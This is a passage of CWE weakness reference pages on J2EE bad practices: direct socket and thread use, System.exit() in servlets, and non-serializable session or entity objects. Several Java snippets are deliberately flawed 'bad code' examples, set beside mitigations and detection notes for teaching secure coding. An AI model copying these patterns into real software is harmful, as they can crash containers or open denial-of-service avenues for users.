ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.695Use of Low-Level Functionality
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation

+ Demonstrative Examples

Example 1

The following example opens a socket to connect to a remote server.

(bad code)
Example Language: Java 
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

// Perform servlet tasks.
...

// Open a socket to a remote server (bad).
Socket sock = null;

try {
sock = new Socket(remoteHostname, 3000);

// Do something with the socket.
...
} catch (Exception e) {
...
}
}

A Socket object is created directly within the Java servlet, which is a dangerous way to manage remote connections.

+ Potential Mitigations

Phase: Architecture and Design

Use framework method calls instead of using sockets directly.
+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2277PK - API Abuse
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsJ2EE Bad Practices: Sockets
Software Fault PatternsSFP3Use of an improper API
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Description, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11J2EE Bad Practices: Sockets

CWE-383: J2EE Bad Practices: Direct Use of Threads

Weakness ID: 383
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Thread management in a Web application is forbidden in some circumstances and is always highly error prone.
+ Extended Description
Thread management in a web application is forbidden by the J2EE standard in some circumstances and is always highly error prone. Managing threads is difficult and is likely to interfere in unpredictable ways with the behavior of the application container. Even without interfering with the container, thread management usually leads to bugs that are hard to detect and diagnose like deadlock, race conditions, and other synchronization errors.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.695Use of Low-Level Functionality
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation

+ Demonstrative Examples

Example 1

In the following example, a new Thread object is created and invoked directly from within the body of a doGet() method in a Java servlet.

(bad code)
Example Language: Java 
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

// Perform servlet tasks.
...

// Create a new thread to handle background processing.
Runnable r = new Runnable() {
public void run() {

// Process and store request statistics.
...
}
};

new Thread(r).start();
}
+ Potential Mitigations

Phase: Architecture and Design

For EJB, use framework approaches for parallel execution, instead of using threads.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Affected Resources
  • System Process
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.3617PK - Time and State
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsJ2EE Bad Practices: Threads
Software Fault PatternsSFP3Use of an improper API
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2010-12-13CWE Content TeamMITRE
updated Description, Other_Notes, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30J2EE Bad Practices: Threads
2008-04-11J2EE Bad Practices: Use of Threads

CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session

Weakness ID: 579
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores a non-serializable object as an HttpSession attribute, which can hurt reliability.
+ Extended Description
A J2EE application can make use of multiple JVMs in order to improve application reliability and performance. In order to make the multiple JVMs appear as a single application to the end user, the J2EE container can replicate an HttpSession object across multiple JVMs so that if one JVM becomes unavailable another can step in and take its place without disrupting the flow of the application. This is only possible if all session data is serializable, allowing the session to be duplicated between the JVMs.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.573Improper Following of Specification by Caller
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1018Manage User Sessions
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation

+ Demonstrative Examples

Example 1

The following class adds itself to the session, but because it is not serializable, the session can no longer be replicated.

(bad code)
Example Language: Java 
public class DataGlob {
String globName;
String globValue;

public void addToSession(HttpSession session) {
session.setAttribute("glob", this);
}
}
+ Potential Mitigations

Phase: Implementation

In order for session replication to work, the values the product stores as attributes in the session must implement the Serializable interface.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP1Glitch in computation
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Description, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-382: J2EE Bad Practices: Use of System.exit()

Weakness ID: 382
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A J2EE application uses System.exit(), which also shuts down its container.
+ Extended Description
It is never a good idea for a web application to attempt to shut down the application container. Access to a function that can shut down the application is an avenue for Denial of Service (DoS) attacks.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.705Incorrect Control Flow Scoping
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationA call to System.exit() is probably part of leftover debug code or code imported from a non-J2EE application.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Crash, Exit, or Restart

+ Demonstrative Examples

Example 1

Included in the doPost() method defined below is a call to System.exit() in the event of a specific exception.

(bad code)
Example Language: Java 
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
...
} catch (ApplicationSpecificException ase) {
logger.error("Caught: " + ase.toString());
System.exit(1);
}
}
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Separation of Privilege

The shutdown function should be a privileged function available only to a properly authorized administrative user

Phase: Implementation

Web applications should not call methods that cause the virtual machine to exit, such as System.exit()

Phase: Implementation

Web applications should also not throw any Throwables to the application server as this may adversely affect the container.

Phase: Implementation

Non-web applications may have a main() method that contains a System.exit(), but generally should not call System.exit() from other locations in the code
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.3617PK - Time and State
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.730OWASP Top Ten 2004 Category A9 - Denial of Service
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.851The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1141SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsJ2EE Bad Practices: System.exit()
OWASP Top Ten 2004A9CWE More SpecificDenial of Service
The CERT Oracle Secure Coding Standard for Java (2011)ERR09-JDo not allow untrusted code to terminate the JVM
Software Fault PatternsSFP3Use of an improper API
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-06-23CWE Content TeamMITRE
updated Description, Modes_of_Introduction, Other_Notes, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11J2EE Bad Practices: System.exit()

CWE-594: J2EE Framework: Saving Unserializable Objects to Disk

Weakness ID: 594
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
When the J2EE container attempts to write unserializable objects to disk there is no guarantee that the process will complete successfully.
+ Extended Description
In heavy load conditions, most J2EE application frameworks flush objects to disk to manage memory requirements of incoming requests. For example, session scoped objects, and even application scoped objects, are written to disk when required. While these application frameworks do the real work of writing objects to disk, they do not enforce that those objects be serializable, thus leaving the web application vulnerable to crashes induced by serialization failure. An attacker may be able to mount a denial of service attack by sending enough requests to the server to force the web application to save objects to disk.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1076Insufficient Adherence to Expected Conventions
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Modify Application Data

Data represented by unserializable objects can be corrupted.
Availability

Technical Impact: DoS: Crash, Exit, or Restart

Non-serializability of objects can lead to system crash.
+ Demonstrative Examples

Example 1

In the following Java example, a Customer Entity JavaBean provides access to customer information in a database for a business application. The Customer Entity JavaBean is used as a session scoped object to return customer information to a Session EJB.

(bad code)
Example Language: Java 
@Entity
public class Customer {
private String id;
private String firstName;
private String lastName;
private Address address;

public Customer() {
}

public Customer(String id, String firstName, String lastName) {...}

@Id
public String getCustomerId() {...}

public void setCustomerId(String id) {...}

public String getFirstName() {...}

public void setFirstName(String firstName) {...}

public String getLastName() {...}

public void setLastName(String lastName) {...}

@OneToOne()
public Address getAddress() {...}

public void setAddress(Address address) {...}


}

However, the Customer Entity JavaBean is an unserialized object which can cause serialization failure and crash the application when the J2EE container attempts to write the object to the system. Session scoped objects must implement the Serializable interface to ensure that the objects serialize properly.

(good code)
Example Language: Java 
public class Customer implements Serializable {...}
+ Potential Mitigations

Phases: Architecture and Design; Implementation

All objects that become part of session and application scope must implement the java.io.Serializable interface to ensure serializability of containing objects.
+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP1Glitch in computation
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes
2010-02-16CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Description, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Weakness_Ordinalities
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
